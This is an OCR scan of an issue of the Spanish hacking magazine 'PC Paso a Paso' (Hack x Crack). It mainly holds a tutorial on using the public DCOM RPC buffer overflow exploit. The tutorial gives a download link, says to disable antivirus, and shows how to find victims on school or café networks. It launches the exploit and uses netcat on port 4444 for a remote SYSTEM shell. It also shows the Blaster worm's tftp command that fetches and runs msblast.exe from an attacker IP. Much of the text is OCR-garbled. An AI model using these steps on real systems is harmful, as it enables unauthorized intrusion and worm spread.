HACK X CRACK: BUGs Y EXPLOITs AL DESCUBIERTO :)

'CURSO DE TCP/IP: LA CAPA IP
DIRECCIONES DE RED Y ENCAMINAMIENTO DE
PAQUETES

LOS CURDERSIOS DE
S L ¢ J/

JroomaErophoPowerng et ety
-hacilacoeracik.corm :

:

EXPLOIT dcom final: APRENDE A UTILIZARLO !1!

DCOM+NET(AT-SHE«ll REMOTAR! | . i}
“ AN M“’“Q

nimero 24 .

3 SERVIDO e
N°24 - PV.P. 4,5 EUROS g J— AS DE HACK

‘ ‘7 02

PC PASO A PASO: DIRECCIONES IP A FONDO (DESCUBRE SU VERDADERO ROSTRO)

STRA WEB
“HH LOS MEJORES ARTICULOS GRATIS EN NUE

:
5
S
Z
:
g -
:
5
S
Z
:
-
:
-
S
Z
:
:

H 00024




el hosting
dedicado a tli

~— alojamiento WEB y registro de dominios En Hostalia todo esta dedicado a ti. Nuestra infraestructura técnica en uno de los

Registro de dominios por solo 15 €/afio mejores centros de datos de Espafia, nuestro personal altamente cualificado y
Planes de hosting avanzados (PHP4, nuestro Servicio de Atencion al Cliente, son para ti.

MySQL, Perl, ASP...) desde 11,17 €/mes En Hostalia nos dedicamos exclusivamente a dar soluciones de hosting, a alojar tu
Planes basicos desde 3,90 €/mes web o tu servidor. Asi, nuestra especializacion nos permite estar volcados en dar un

mejor servicio, cuidando cada detalle para que todo funcione al 100%
~— alojamiento WEB multidominio

especial para distribuidores;

ofrece hosting a tus clientes desde

solo 29,90 € al mes para alojar l—l D S T g l I g
los dominios que quieras, con

total control gracias a nuestros

paneles de gestion online, e WWW.hostalia.com
incluso con tu propia marca

u
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~— servidores dedicados / housing ) .
40 propid Seridbf dedicado dedicados al hosting, a tu web, a T

desde 145 €/mes, a partir de
100GB de transferencia al mes

garantia de calidad:
- infraestructura propia en Espafia

«‘an : - conectividad multioperador
housing desde 75 €/mes - miembro de RIPE

conectividad multioperador

Los precios indicados no incluyen VA 16%
Los importes y caracteristicas pueden variar sin previo aviso
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S1 en el namero pasado de PC PASO A PASO no te quedo claro el tema de los exploits. espera
a leer este articulo. Mas claro y sencillo IMPOSIBLEM
Aprenderas a utihzar un exploit y consequir una shell remota en un "PC Uictima™

0.- Introduccion:

Hola amig@s, algunos ya me conoceréis de los foros de
HaCKxCRaCK (www.hackxcrack.com), sin duda uno de los
mejores lugares donde podras aprender infinidad de cosas
sobre la informatica en si y por supuesto uno de los mejores
foros para pasar un buen momento con la mejor gente del
mundo, que hacen que el foro sea un verdadero suefo
para todos, a todos ellos una y mil veces mas iiGRACIAS!!

En este articulo sobre bugs y exploits nos acercaremos
a estos bichitos y diablillos. Os explicaré el significado de
cada término y unas cuantas cosillas mas, pero seguramente
por lo que mas te vas a interesar, es por las practicas que

vamos a realizar.... =

Te ensefiare paso por paso cdmo se copia el Blaster en
un PC, como defenderte ante él, como entrar en equipos
remotos que se encuentren en ethernet e Internet..Te
ensefare a hacer un D.O.S. a cualquier maquina operativa
de ethernet e Internet...

Aunque tenia pensado explicar otro tema en la segunda
practica de este articulo, al final tendremos que aplazarlo
al mes que viene por falta de espacio. El proximo mes
explicaré un bug y un exploit actual y algo del gusano
“Sasser” que actla bajo esta vulnerabilidad... Y todo gracias

a los bugs y exploits®

1.- éQué es un Bug?

La palabra Bug en inglés significa “bicho o insecto de
pequeiio tamano”, segln el New Hacker’s Dictionary (32
ED: 4.0.0, MIT Press, 1996).

La aparicidon de dichos bichos, comienza en los tiempos en
que las computadoras ocupaban habitaciones enteras. Las
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esos tiempos (sobre 1948), la primera aparicion
documentada de la palabra bug en informatica se produjo
cuando un insecto (bugs = bichos) se introdujo en un relé
de una maquina del Naval Surface Warfare Center,
provocando un error.

En realidad, bug se utiliza para cualquier tipo de transtorno
en una maquina. Se remonta al siglo XIX, a la época del
telégrafo. De ahi pasé a la electricidad (se encuentra en
un manual popular de 1896), estaba en uso en radares
durante la Segunda Guerra Mundial...

Bug significaba cualquier funcionamiento anémalo de una
maquina o un circuito, causado por un insecto o no, por
eso fue adoptando rapida y profusamente por el mundo
informatico (donde abundan las sorpresas desagradables
en los programas). Por eso, actualmente cuando un software
(programa) tiene un fallo, se dice que contiene un bug o
error.

Hoy en dia es muy comun encontrar como significado de
bug: agujero o fallo de seguridad que contiene un software
(programa) en momento de ejecucion, y que nos permite
obtener el control sobre PCs remotamente a través de
ethernet o Internet.

Pero esto no es del todo cierto, ya que un bug puede ser
tanto un agujero o falla de seguridad, como un error que
provoque un mal funcionamiento del programa o la
finalizaciéon de dicho programa, entre otras muchas
posibilidades.

Normalmente, a aquellos a los que solucionan estos errores

se les llama debuggers, que viene a significar algo como
“solucionadotes” de bugs / errores.

PC PASO A PASO N° 24
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2.- éComo se encuentran los bugs?

Cuando un programa es distribuido (ya sea de forma
gratuita, libre o privada), es normal que se encuentren
vulnerabilidades importantes. Es muy comun hoy en dia
que las primeras versiones de un programa contengan gran
cantidad de bugs.

Esto es debido fundamentalmente a:

P Una mala programacion.
P Unas insuficientes pruebas de funcionamiento.

Digamos que cuando un programa (por ejemplo un Sistema
Operativo como “tu querido Windows”) cae en manos de
los investigadores (es decir, de verdaderos hackers), estos
investigan el funcionamiento interno de dicho programa.

Hacen infinidad pruebas y descubren errores (bugs).
También crean programas que demuestran:

P por un lado la existencia de estos bugs

Py por otro cdmo una persona malintencionada podria
beneficiarse del mismo... ya sabes... la obtencién de
shells (la famosilla ventana negra), D.0.S (denegacién
de servicios), buffer overflows (desbordamientos de
pila)...

3.- éQué Sistema Operativo contiene mas
bugs?

Segun la firma mi2g, especializada en seguridad
informatica, afirma que el 44 % de los bugs (agujeros de
seguridad) reportados en los uUltimos 10 meses pertenece
a productos de Microsoft, seguidos de Linux con un 19%
de las vulnerabilidades. Lejos queda Mac OS, de Apple,
que solo concentra el 1,9 % de los agujeros de seguridad
informados.

4.- ¢Qué es un exploit?

Ahora si que si @ Definir el término exploit en una revista
como esta puede provocar que algunos dejen de comprarla
para siempre (tipica definicion lamer) y otros se queden
boquiabiertos (tipica explicacion técnica de un par de
paginas que nadie llega a entender).

Nosotros vamos a definir el término exploit “a nuestra
manera”, nada mejor que un ejemplo simple pero directo:
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Imagina que eres el afortunado propietario de un
decodificador del CANAL+. Como no tienes mucho dinero,
solo contrataste el PACK BASICO, es decir, que solo ves
unos 20 canales de los 200 que hay (mal rollo, éverdad?)

El decodificador tiene en su interior una serie de rutinas
(programas) que te permiten decodificar la sefial de tu
pack contratado (una birria de pack). Imagina que los
programadores no son muy buenos y hubiesen cometido
muchos errores al programar las rutinas que controlan el
decodificador.

Imagina que (ya se que soy pesado, pero la imaginacion

es buena **), un buen dia, vienen tus primos de visita
(esos “odiosos” diablillos de 5 afios) y empiezan a “aporrear”
los botones del mando de tu decodificador. Para tu sorpresa,
a partir de ese momento puedes ver TODOS los canales,
los 200 canales!!!

Existe un error en las rutinas del decodificador (un bug),
y tus “queridos primos” han sido capaces de sacarle un
provecho a ese error mediante una serie de acciones
(pulsar una determinada combinacidon de botones). Esa
serie de acciones es un exploit.

Esperamos que incluso los mas puristas acepten este
ejemplo y, por extensidn, esta definicion. Sabemos que
es SIMPLE con mayusculas (ridiculamente SIMPLE), pero...

éverdad que todos lo hemos entendido? =

Si queremos profundizar en el tema nos encontraremos
con todo tipo de posturas (algunas muy radicales) y
montaremos un debate de los “calentitos”, de los que
suelen acabar “a tortazos”.

Algunos llegan incluso a defender posturas, digamos...
“interesantes”. Por ejemplo diciendo que un exploit es una
“capacidad afiadida a un programa”, es decir, que los
programadores de la rutina del decodificador pusieron ahi
(consciente o inconscientemente) esa posibilidad y que
por lo tanto ES LEGAL utilizar el exploit y ver los 200
canales sin pagar!!! Hombre... es una manera de verlo...
pero recuerda lo siguiente (que LA LEY lo tiene muy claro):

"Recuerda que la utilizacion de un exploit sin la
supervision/aprobacion del administrador del sistema
puede ser considerado (lo es) un delito y esta penado
con fuertes multas y/o prision/carcel”
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En la revista PC PASO A PASO numero 23 pudiste meterte
de lleno en este tema y “mancharte las manos”

LAS PRACTICAS:

1.- Introduccion:

Ahora que ya hemos “hablado” un poco sobre los bugs y
los exploits, empezaremos con las practicas.

En estas practicas YO utilizare dos equipos con Windows

XP profesional, dentro de una red casera conectados por

un switch... pero para realizar las practicas no te hara falta

que tengas dos PCS, bastara con uno en el que corra un
sistema Windows XP / w2k.

# Si dispones de...

Si dispones de piezas sueltas (restos de anteriores PCs)
suficientes para motar un PC y no sabes por donde empezar,
pasate por los foros de hackxcrack (www.hackxcrack.com)
y en la seccion F.A.Q encontraras un hilo: “GUIA: Montado
PCS desde 0, (HARDWARE)”, ahi podras encontrar cémo
montar PCs muy facilmente con unas piezas minimas.

Cito esto ahora porque, durante varios articulos de la revista,
seria de gran ayuda disponer de varios PCS para entender
perfectamente los articulos y poder meterte mas en las
practicas. Y en este articulo te recomiendo que puedas
hacer las practicas en una red de dos PCs, por temas de
reinicio del S.O...

2.- ¢Como se copia el MBlaster en un PC?

Antes de nada, parto con la idea de que todos conocéis o
sabéis quien es BLASTER. Si eres de los despistadillos, o
mejor dicho, de los Super despistadillos que no sabe nada
del tema, pasate por www.google.com y entérate de que

va el asunto...

MBlaster es un virus / gusano... que se aprovecha de un
bug de los sistemas operativos de Microsoft en sus versiones
XP/w2k/2003. Se aprovecha de una falla en el RPC (Remote
Procedure Call, en castellano Llamada de Procedimiento
Remoto).

Pagina 6

El RPC es (simplificando mucho el tema) un protocolo de
los S.0. Windows para que un software que se inicia en
una maquina sea accesible a los servicios de otra maquina
conectado en red.

El bug se manifiesta a la hora del intercambio de solicitudes
(mensajes) entre dos PCS donde uno actla de servidor y
otro de cliente. Debido a un insuficiente control sobre el formato
de estos mensajes, un usuario malintencionado puede crear

un mensaje que provoque “efectos no deseados” =

Los puertos por los que interactla o escucha este protocolo,
son los puertos 135 en TCP / UDP y 139, 445, 593 en TCP.

La forma en que los exploits se aprovechan de este bug
es enviando un codigo malicioso, que junto con el mal
control del formato, hace que se produzca los conocidos
Buffers Overflows (desbordamientos de pila), después es
insertado un codigo que nos permite poder obtener una
shell de system32.

Ahora que ya sabemos en que consiste esta vulnerabilidad,

"

como dicen en mi pueblo, “pofiamos as mans a obra =
(Pongamos manos a la obra).

El MBlaster se aprovecha de este bug gracias a un EXPLOIT
que ahora voy a comentar y a explicar para que luego
puedas entender las practicas del MBLASTER.

3.- Aprendiendo a utilizar el exploit
dcom_final:

El exploit que vamos a utilizar es conocido, por lo menos
por mi, como dcom_final, el nombre viene de: DCOM
(Distributed Component Object Model, en castellano
Componente Modelo de Objeto Distribuido), que viene a
ser es un protocolo que proporciona un conjunto de
interfaces a los clientes y servidores para comunicarse
entre si.

¢Por que este nombre “dcom_final”? Porque en realidad
el bug afecta a la interface DCOM (y lo de final, no hace
falta mencionarlo xDDD).

Podras descargarte el exploit en: (ejecutable compilado)

http://www.cyruxnet.org/download/rpcdcom/dcom_final.zip
También podras encontrarlo en http://www.hackxcrack.com

PC PASO A PASO N° 24
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Si te fijas, el EXPLOIT viene comprimido en formato zip,
yo lo voy a descomprimir en la siguiente ruta:
“C:\dcom_final”

Si dispones de...

Si tienes un antivirus funcionando, vas a tener que
desactivarlo para hacer las practicas, porque empezara a
cantar como un loco, y segun el antivirus (caso del Panda)
puede eliminarte el exploit. Pero tranquilo que esto no es
ningun virus.

Si te fijas, dentro de la carpeta dcom_final encontraras un
ejecutable: dcom.exe (te lo repito, NO ES UN VIRUS, NO
CORRES PELIGRO por mucho que tu antivirus lo detecte
como tal évale?

Si lo intentas ejecutar con los dos clicks de siempre, veras
que se ejecuta una ventana negra pero que al cabo de
unas décimas de segundo la ventanita negra finaliza,
tranquilos que esto es normal...

Para ejecutar el exploit tendremos que ejecutarlo
mediante una consola (lldmalo como quieras: cuadro
de comandos, “ventanita negra”, ventana MS-DOS,
SHELL...), creo que ya todos sabréis de que estoy hablando
porque en la revista ha salido esto mil y una veces. Estoy
hablando de cmd.exe (Interprete de comandos).

Venga, ejecuta la consola, ¢Cémo?... ¢Qué no sabes
como...? Pues es muy sencillo: pulsa sobre el “botoén inicio”
luego sobre “ejecutar...” escribe “cmd.exe” y pulsa enter,
y asi ya tenemos nuestra famosa ventanita negra...

Lo siguiente que debemos hacer es acceder a la ruta donde
hemos descomprimido el exploit (dcom_final):

P escribe en la ventanilla negra “ecd” y luego la ruta
donde tienes el exploit (en mi caso “c:\dcom_final”).
Entonces, yo tendré que escribir “cd c:\dcom_final”
(y pulsamos enter).

Ahora hacemos un “dir” para saber como se llama el
exploit, DCOM.exe. Pues venga, escribe “dir” (y pulsa

enter).

Ahora que ya estamos en la ruta necesaria y ya sabemos
como se llama el exploit, ejecutémoslo. éComo...? Pues
simplemente escribiendo el nombre y su extension,
venga, escribe “dcom.exe” (y pulsa enter).

Al ejecutar el exploit nos aparecera esto:
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D:\WINDOWS\System32\cmd.exe -0 ﬂ

91 ,85,2084 17:18 <DIR>
91 /85,2004 17:18 <DIR>
31,07,2003 11:57

1 archivos 155.732 hytes

2 dirs 2.160.689.152 hytes libres

155.732 dcom.exe

IC:\dcon_f inal>dcomf inal
"dcomf inal" no se reconoce como un comando interno o externo.
programa o archivo por lotes ejecutable.

:\dcon_f inal>dcom.exe

Remote DCOM RPC Buffer Overflow Exploit

Original code by FlashSky and Benjurry

Rewritten hy HDM <hdm [at] metasploit.com>

Ported to Win32 by Benjamin Lauzibre <blauziewre [at] altern.org>
iversalized for kiddie extravaganza by da barabas
ge: dcom.exe {Target ID> (Target IP>

Windows 20080
1 Windows XP

sNdeom_f inal>

Nota para novatos

NOTA PARA NOVATOS (y a mucha honra con eso de
novatos, todos somos eternos aprendices):

Si no sabes qué es eso de las extensiones de los archivos,
es hora de que te vayas enterando...

Todos los archivos en sistemas Windows estan compuestos
por:
P un nombre (por ejemplo “setup”)
P un punto “.”
Py una extensién (hay muchas, por ejemplo la
conocidisima “exe’)
P RESULTADO: setup.exe

El nombre nos sirve para que tanto los usuarios como el
mismo ordenador sepan distinguir los distintos archivos
dentro de un mismo directorio. El “.” le sirve al ordenador
pasa saber que a partir de ¢l se termina el nombre del
archivo y que la siguiente cadena es la extensioén. La
extension le sirve al ordenador para saber con qué tipos
de archivos vamos a trabajar (ejecutable, librerias, imagenes,
etc.).

Por ejemplo, los archivos terminados en:

* exe ------ > Simbolizan un ejecutable
*jpg ------ > Simbolizan una imagen
*AXE =-mmm > simbolizan un texto

Y todavia quedan mas, cada extension tiene un objetivo
simbolico. En nuestro caso el exploit es un ejecutable, es
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decir, su extension es *.exe.

Te recomiendo que si no tienes ni idea sobre ¢l tema, que
te leas algo sobre €1, es muy interesante y muy basico. Para
encontrar informacion www.google.com

Apunte Importante: Si cuando accedes a una carpeta
con un monton de archivos NO PUEDES VER SUS
EXTENSIONES, es porque nuestro querido Bill Gates
oculta las extensiones por defecto. Pasate por el foro y
pregunta como se puede hacer para que el Windows muestre
las extensiones de los archivos. No merece la pena gastar
paginas en explicarlo y, de paso, conoces a la pefia del
foro (www.hackxcrack.com)

Ahora ya hemos ejecutado el exploit, pero aun no lo
hemos lanzado contra nadie. Para hacer un ataque
necesitamos saber como minimo dos cosas:

P ¢Qué sistema operativo tiene la victima?
P ¢Qué IP tiene la victima?

En mi caso la “victima” (el PC que va a ser atacado) tiene
un Windows XP y la IP 192.168.0.2

Si quieres...

Si quieres hacer las practicas en un solo PC, la victima eres
ta mismo (es decir, el PC que estés utilizando). En este
caso la IP debera se obligatoriamente la 127.0.0.1 y el
Sistema Operativo, el que tengas, obvio. Si no sabes por
qué la IP debe ser obligatoriamente la 127.0.0.1, te
recomiendo leer articulo de TCP/IP que hay en este mismo

namero

Si estas practicando en una red (como la del colegio o la
de un caber) y no sabes la IP del PC victima, solo tienes
que abrir otra ventanilla negra y poner “Net view". Ahi te
apareceran todos los PCS que pertenecen al grupo de
trabajo y que se encuentran operativos en este momento.
Normalmente todos tienen un nombre con un n°, para
poder diferenciar unos de otros, aunque no tiene porque
ser asi...

Imaginate que el nombre de la victima que quieres atacar
es AE2, entonces tendras que hacerle un Ping para sacar
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su IP. ¢éComo? Muy sencillo, escribe en la shell (pantallita
negra) “Ping AE2"” (y pulsa enter). Si te fijas apareceran
unos numeros separados por puntos, esa es la IP de la
victima, aqui tienes un ejemplo con la victima “HACK":

D:\WINDOWS\System32\cmd.exe =[O ﬂ
(C> Copyright 1985-28@1 Microsoft Corp.

D :\Documents and Settings“Administrador.NETTING>net view

Servidor Descripcidn

N\HACK

N\NETTING

Be ha completado el comando correctamente.

[D:\Documents and Settings\Administrador.NETTING>ping HACK
Haciendo ping a HACK [192.168.8.21 con 32 hytes de datos:

sta desde
sta desde

tiempo<im TTL=128

a a tiempo<im TTL=128
192.168.8 yt tiempo<im TTL=128
192.168.08.2: hytes=32 tiempo<im TTL=128

ping para 192.168.08.2:
d = 4, recibidos = 4, perdidos = 0@

Tiempos aprox s de ida y vuelta en milisegundos:

Minimo

Lo que se encuentra encuadrado es la IP del PC "HACK".
“HACK"es el nombre del host (PC) victima al cual hemos
lanzado el ping.

Ahora ya estamos preparados para lanzar el exploit.
Tendremos que poner en la shell lo siguiente:

“dcom.exe <TARGET ID> <TARGET IP>"

P “dcom.exe” se utiliza para que la shell sepa quién
es el guapo que va a ejecutar los parametros que van
a continuacion del programa que vamos a ejecutar (el
guapo #), en este caso <TARGET ID> <TARGET
IP>"

P “<TARGET ID>" Es una variable numérica que el
exploit (dcom.exe) utiliza, para saber qué Sistema
Operativo tiene la victima, solo hay dos posibilidades:
P “0” Windows w2k (Windows 2000)
Py “1” Windows XP.

P “<TARGET IP>" Es la variable que le indica al exploit
qué IP debe atacar.

Es decir, que lo que tenemos que escribir en la shell
(ventanita negra) es:
“Dcom.exe 1 192.168.0.2"

Bueno, esto es en mi caso, en el tuyo solo tienes que
sustituir el <target ID> por "0” (en caso de que ataques
a un Windows w2k) y la IP de la victima por la
correspondiente (si solo tienes tu PC, recuerda que la IP
debe ser 127.0.0.1).

Si todo ha ido bien, el exploit nos mandara un mensaje
como este:

PC PASO A PASO N° 24
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e

% B D:\WINDOWS\System32\cmd.exe

nal code by F ky and Benjur
Rewritten by HDM <hdm [at] metasploit.com>
Ported to Win32 by Benjamin Lauzibre <blauziere [atl altern.org>

Universalized for kiddie extravaganza hy da harabas
H m.exe <Target ID> <Target IP>

Windows 20800
1 Windows XP

Ndcom_f inal>dcom.exe 1 192.168.8.2

Remote DCOM RPC Buffer Ouverflow Exploit
- |Original code by FlashSky and Benjurry
ritten by HDM <hdm [at] metasploit.com>
ted to Win32 by Benjamin LauziPre <blauziere [at] altern.org>
- |Universalized for ddie extravaganza hy da bharabas
- |Using return addre of 0x0100139d
lUse Netcat to connect to 192.168.0.2:4444

IC:\dcom_final>

El mensaje es el que esta en el rectangulo de color verde,
viene a ser donde se va a producir el Buffer Overflow, para
que el exploit sepa en que direccion debe atacar/actuar.

Si te fijas he seleccionado con otro rectangulo de color
rojo, otro mensaje que nos manda el exploit, esto nos
quiere decir que mandemos un Netcat a la IP 192.168.0.2
(en mi caso) por el puerto 4444 (en el caso de todo el
mundo).

En otros numeros...

En otros numeros de PC PASO A PASO ya se ha explicado
como utilizar netcat. En este articulo simplemente tienes
que seguir nuestros pasos, pero si tuvieses alglin tipo de
duda posteala en el foro (www.hackxcrack.com).

Puedes descargarte el programa NETCAT desde la Web
de Hack x Crack, para que no te pierdas --->
http://www.hackxcrack.com/programas/nc.zip

Pues vamos al tema. Tenemos que lanzar un netcat a la

IP 192.168.0.2 en el puerto 4444. Para hacer esto:
P abre otra shell (exactamente igual que hicimos
antes, con esta ya tendremos dos ventanitas negras en
nuestro escritorio)

P escribe en la nueva ventanilla negra “ed” y luego la
ruta donde tienes has descomprimido el netcat (en mi
caso “c:\netcat”). Entonces, yo tendré que escribir
“cd c:\netcat” (y pulsamos enter).
b escribe dir y pulsa enter (igual que antes), de esta
forma podras ver que hay un archivo llamado nc.exe.
, lo has adivinado, ese archivo es el NETCAT =
b escribe nc IP-Victima 4444” y pulsa enter. En mi
caso escribiré nc 192.168.0.2 4444
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Ni se te pase...

Ni se te pase por la cabeza cerrar la ventana donde esta
corriendo el EXPLOIT, pues si cierra esa ventana NO
podremos conseguir una shell de system32. Recuerda que
hemos dicho que ahora deben haber dos “ventanitas negras”
en tu escritorio.

Si te fijas, al ejecutar la instruccién nc 192.168.0.2
4444", el netcat nos proporciona una shell de system32:

B D:\WINDOWS\System32\cmd.exe - nc 192.168.0.2 4444

18042084 20:47 551.536 montando_pc.pdf
19042084 208:16 1.280.419 umware.pdf
19042084 20:21 <DIR> izhal

33 archivos 24.118.911 bhytes

30 dirs 49.224_704 bhytes libres

REE
-]

El volumen de la unidad G no tiene etigueta.
El ndmero de serie del volumen es: FB61-6A39
Directorio G=\NC
25,01-2084 21:13
25,01 .-2084 13
93./01-1998 =37

1 archivos

2 dirs
G:\NG>nc 192.168.8.2 4444
Microsoft Windows RP [Ue
(C> Copyright 1985-28081 H1

C:N\UINDOWS \system32>

<DIR> -
<DIR> co
59.392 nc.exe
59.392 bytes
49.224_.784 bytes libres

n 5.1.26881
rosoft Corp.

Nota para novatos

NOTA PARA NOVATOS (y de nuevo, a mucha honra con
eso de novatos, que todos somos eternos aprendices):

Aunque te parezca que la “ventanita negra” que tienes
delante no ha cambiado practicamente en nada, existe una
diferencia MUY IMPORTANTE: Acabas de entrar en el
PC 192.168.0.2

A partir de ahora, cualquier comando que introduzcas
en esa ventana sera ejecutado en el PC 192.168.0.2. Si
por ejemplo haces un simple dir, el listado de archivos que
obtendras no sera los que tienes en tu PC, sino los del PC
VICTIMA. ACABAS DE CONSEGUIR UNA SHELL
REMOTA !!!

Como novato (o no), en Internet habras encontrado una y
mil veces la siguiente pregunta: ;qué es una shell? ;Coémo
puedo conseguir una cuenta shell? ;como puedo hackear
un PC mediante un exploit y obtener un acceso a un sistema
por linea de comandos? y bla, bla, bla!!!
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Las respuestas a este tipo de preguntas suelen ser de lo
mas “divertidas” © T ya nunca tendras que enfrentarte
a esas preguntas y sus “divertidas” respuestas: Tt acabas
de utilizar un exploit a partir del cual (y gracias al netcat)
has conseguido un acceso shell remoto.

Ruego paciencia a los veteranos de la revista, pero debemos
ser conscientes de que mucha pefia hace tiempo que esta
perdida. Los nuevos lectores se encuentran con textos que
practicamente es como si les hablasen en una “lengua
muerta”... ya, ya... no se han leido las revistas anteriores. ..
pero también debemos tenerles en cuenta.

Pues a partir de aqui solo tienes que echar tu cabeza a
funcionar, porque ya tienes un control mas que suficiente
para hacer lo que quieras en la victima, como en su
momento hizo el creador del MBlaster (en el siguiente
punto te ensefiare como actla el MBlaster).

Pero antes recordarte unas cuantas cosillas muy importantes,
iiestate atento!!.

Para salir de la shell que el netcat nos a proporcionado
debemos escribir “exit” o pulsar la cruz de la ventanita
negra. En ese instante se producira un D.O.S.
(denegacion de servicios) en la maquina Victima, en
otras palabras, que le saltara una ventana como esta:

Apagar el sistema

Se estd apagando el sistema. Guarde tado
trabajo en curzo p ciere la sesion. Se perderd
cualquier cambio que no haya sido guardado.

* . 3
el En la imagen se vera
un cronometré que al

El apagado ha sido iniciado por NT ITe gar a cero
AUTHORITYWSYSTEM provocara que el PC
Victima sea

reiniciado. Lo que
provoca el D.O.S en
la maquina victima es
la finalizacidon de la
shell donde corre el
netcat.

Tiempo restante

para el apagado . 000053

servicio Llamada a procedimienta

Menzaje
‘Wwindows debe reiniciar shora porque el
remotalRPC] terming de forma inesperada

Si tu equipo (atacante) no esta parcheado contra este bug,
solo podra hacer un ataque por cada vez que sea reiniciado,
es decir, que solo podra atacar a una maquina una vez.

Si tu equipo quiere atacar a otras maquinas debera

reiniciarse. Esto es debido a que cuando se lanza el exploit
y se cierra, los puertos quedan “fritos” tanto los de la
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maquina atacante como los de la maquina victima, excepto
si el atacante esta parcheado, entonces podra realizar
numerosos ataques.

Con esto ya hemos terminado este punto, y ahora que ya
sabes utilizar el exploit te vas a divertir mucho con el
siguiente apartado, donde podras usar lo explicado para
hacer “tus cositas”.

4.- ¢CoOmo se copia el Blaster desde un PC

a otro PC? é¢Como es posible que este virus

se transmita de un PC a otro PC sin que

nadie se de cuenta? Ni siquiera es necesario

que el usuario ejecute un archivo o abra

un e-mail!l!

Esta es una de las tipicas preguntas que ningun informatico
desea contestar. Si, bueno, hay respuestas tipo “estandar”,
que si es debido a los agujeros del sistema, que si son
errores que permiten la entrada de cédigo malicioso, que
si los hackers son muy malos, que si las puertas traseras...

NO!!! Ninguna de esas respuestas responde a la
pregunta. De hecho, es IMPOSIBLE que una persona
cualquiera (sin los conocimientos adecuados) entienda la
respuesta que puedas darle. Nosotros vamos a explicarlo,

como siempre, con ejemplos =

# Lo explicado...

Lo explicado a continuacion no pretende ser una descripcion
técnica del funcionamiento del virus BLASTER, rogamos
que “los puristas” nos disculpen por las licencias que nos
tomaremos desde ahora hasta el final del articulo.

Nuestra intencion es hacernos entender!!! (o al menos
intentarlo )

Pongamonos en situacion:

P Tenemos un PC Infectado por el BLASTER y, por
supuesto, su duefio no tiene ni idea.

P Tenemos un PC Victima esperando ser infectado
PASO 1: Desde un PC Infectado, lo primero que hace el

Blaster es escanear unos determinados rangos de IPS y
mirar si los PCs que hay tras esas IPs son vulnerables.
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Cﬂ PC NO VULNERABLE
PC NO VULNERABLE

PC SI VULNERABLE
FUTURA VICTIMA )

w. W
* ey

PC INFECTADO
ESCANEANDO . Koyos b s
UN RANGO.DE * o £

PASO 2: El PC Infectado finalmente localiza a un PC
Vulnerable. Al PC Infectado a partir de ahora lo
llamaremos PC Atacante, puesto que iniciara un ataque
contra el PC Victima.

¢Qué tipo de ataque? Pues lo que hara el PC Atacante es
mandar al PC Victima el exploit que hemos estudiado en
este mismo articulo, exactamente igual que hemos hecho
nosotros antes =

e
ENVIANDO EXPLOIT T aﬁ%”z
. L e
&

PC ATACANTE PC VICTIMA
PASO 3: Una vez lanzado el exploit sobre la victima, se
obtiene una shell remota tipo system32, es decir:
P se lanza el Exploit (PASO 2)

P vy después se usa el netcat para obtener una shell
remota (PASO 3)

Todo exactamente igual a lo que hicimos en este mismo
articulo, la Unica diferencia es que el PC INFECTADO no
muestra ninguna ventanita, todos los pasos son automaticos
y todo lo hace en modo oculto.

Piensa que el virus BLASTER es un programa como cualquier
otro, el codigo del BLASTER abre y ejecuta programas en

modo oculto, como todos los virus “

A partir de este momento, el virus BLASTER (PC Infectado)
tiene el control total del PC Victima gracias al shell remoto,
exactamente igual que hicimos nosotros (y no me cansaré

de repetirlo ).
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——

ABRIENDO UNA SHELL

e —

¢y
PC ATACANTE PC VICTIMA

PASO 4: Ahora el BLASTER puede hacer lo que quiera
con su victima a base de comandos. Podria hacer un dir
y enviar el listado de archivos del PC Victima a un FTP del
Polo Norte, borrar archivos, hacer que se abra una pagina
concreta en el Internet Explorer, ... ... ... pero NO, el
programador del virus desea que su virus se propague
por todo el mundo de forma automatica, asi que... éQué
hace el Blaster entonces? Pues copiarse en el PC de la

victima... ¥ ... ¢éComo...?

1. Mediante la shell de system32 y en la ruta
predeterminada (“c:\windows\systen32”), el Blaster
se prepara para ejecutar en el PC Victima un servicio
predeterminado de Windows, en concreto un Cliente
TFTP.

Si, el ya conocido tftp.exe explicado en el n° 2 de los
cuadernos de HackxCrack... ahhhhhiii que tiempos
aquellos...

2. Blaster tiene montado un Servidor TFTP en el
PC Atacante (en este caso con una IP 62.57.25.112)
escuchando por el puerto 69.

¢Y qué hace un Cliente TFTP con un Servidor TFTP? &

3. ElI BLASTER, mediante la shell remota, hace que
el PC victima (mediante el Cliente TFTP) “se coja” el
archivo msblast.exe que se encuentra en el Servidor
TFTP32. Ldgico éverdad?

Esto lo hace introduciendo en la shell remota el
siguiente comando:

c:\windows\system32> tftp.exe |
IP_del_servidor_a_la_escucha get
nombre_del_archivo_a_subir

Donde tftp.exe es el Cliente TFTP que hay en todos
los sistemas Windows. En este caso estamos ejecutando
el Cliente TFTP de la victima (es un archivo llamado
tftp.exe que esta en la ruta c:\windows\system32).

Donde —i se especifica en el modo de transferencia de
binario. En modo binario el archivo se transfiere
literalmente byte a byte.
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Donde IP_del_servidor_a_la_escucha es la IP del
host a la escucha. Es la IP del PC ATACANTE, que tiene
un Servidor TFTP activado. Este Servidor TFTP tiene el
archivo msblast.exe (una copia del virus Blaster)

preparadito para ser servido “

Donde get se utiliza para “coger” el archivo X del host
a la escucha y “pegarlo” en el host victima. (El caso
inverso seria PUT, que haria la misma funcién que GET
pero al revés, por si quisiésemos “robar” un archivo de

la victima y copiarlo en el PC Atacante )

Donde nombre_del_archivo_a_subir es nombre del
archivo que deseamos copiar en el PC Victima (en este
caso msblast.exe).

Como ya hemos dicho, una vez ejecutada esta instruccion
(en nuestro caso seria tftp.exe —i 62.57.25.112 get
msblast.exe), el archivo msblast.exe “subird” al PC
Victima.

4. ElI BLASTER (PC Atacante, mediante la shell remota,
ejecutara el comando start (comenzar, empezar)
nombre_del_archivo. En nuestro caso particular
ejecutara el comando “start msblast.exe”.

En ese instante el PC Victima es infectado por el virus
BLASTER. Una vez el PC Victima sea reiniciado pasara
a comportarse como el PC Atacante y vuelta a empezar.
En poco tiempo, este virus azoté6 TODO EL PLANETA
(sistemas Windows, por supuesto).

PASQ 4
NAAAA

** PC ATACANTE 3 ]
**IP 62.57.25.112 e
** Servidor TFTP

con el archivo 4

msblast.exe _’_%

"preparadito”

5.- En verdad, ¢Qué NO es el MBlaster?

¢Porque este apartado? Por que mucha gente confunde lo
que es el virus BLASTER en si con la forma de autocopiarse...

Muchos usuarios de Internet piensan que el Blaster es el
“virus” que provoca que se reinicie el PC (en otras palabras,
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D.0.S, Denegacion de servicios); pero eso no es cierto. En
realidad lo que provoca un D.0O.S en la victima es la
